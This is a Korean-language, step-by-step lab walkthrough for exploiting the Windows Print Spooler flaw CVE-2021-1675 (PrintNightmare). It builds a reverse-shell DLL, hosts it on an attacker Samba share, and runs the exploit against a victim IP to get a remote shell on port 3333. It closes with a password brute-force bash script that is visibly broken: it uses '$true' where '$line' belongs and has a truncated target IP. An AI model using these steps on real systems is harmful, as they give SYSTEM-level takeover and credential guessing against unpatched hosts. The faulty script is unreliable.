윈도우 프린터 작업 관리 프로세스로서 네트워크 공유 프린터를 별도 드라이버 설치 없이 사용 가능하게함. 해당 취약점은 스풀러 서비스가 프린터를 공유중인 컴퓨터에 드라이버를 전달할 때 공격자가 피해자 PC의 프린터 드라이버 dll에 악성 코드 dll을 삽입하는 방식. 스풀러 서비스는 SYSTEM 권한의 서비스이므로 스풀러가 실행하는 dll 모두 SYSTEM 권한을 상속받아 장악한 시스템에 모든 악의적 행위가 가능.
Step 2. 취약점 모듈 디렉터리(CVE-2021-1675)에서 악성 DLL(reverse.dll) 생성
LHOST= 공격자 IP, LPORT = 임의의 포트
Step 3. Smb 설정 파일(/etc/samba/smb.conf)에서 path를 악성 DLL이 존재하는 경로로 설정 후 force user를 공격자의 아이디로 설정 Step 4. Impacket 재설치 [스크립트] 실행 후 취약점 스캔 시도 결과 피해자 PC(192.168.0.18)에서 print spooler 활성화 확인
Step 5. 피해자 PC(192.168.0.18) OS 버전 조회 결과 취약 버전임을 확인 Step 6. 공격자 PC(192.168.0.16) 새 터미널에서 피해자 접속 port(3333) 개방 Step 7. 공격자 PC(192.168.0.16)에서 페이로드 실행 ./CVE-2021-1675.py hack1.local/admin@192.168.0.18 ‘\\192.168.0.16\smb\reverse.dll’ Step 8. 피해자(192.168.0.18:3333) 셸 획득 및 임의 명령 실행 가능 Step 9. 윈도우 비밀번호 확인이 불가한 경우 비밀번호 무작위 대입 스크립트 작성
vi Bf_Printnightmare.sh
#!/bin/bash
while read line; do
./CVE-2021-1675.py hack1.local/Administrator:"$true"@192. '\\192.168.80.128\smb\reverse.dll'
echo "try password:$line"
done < password_dictionary.txt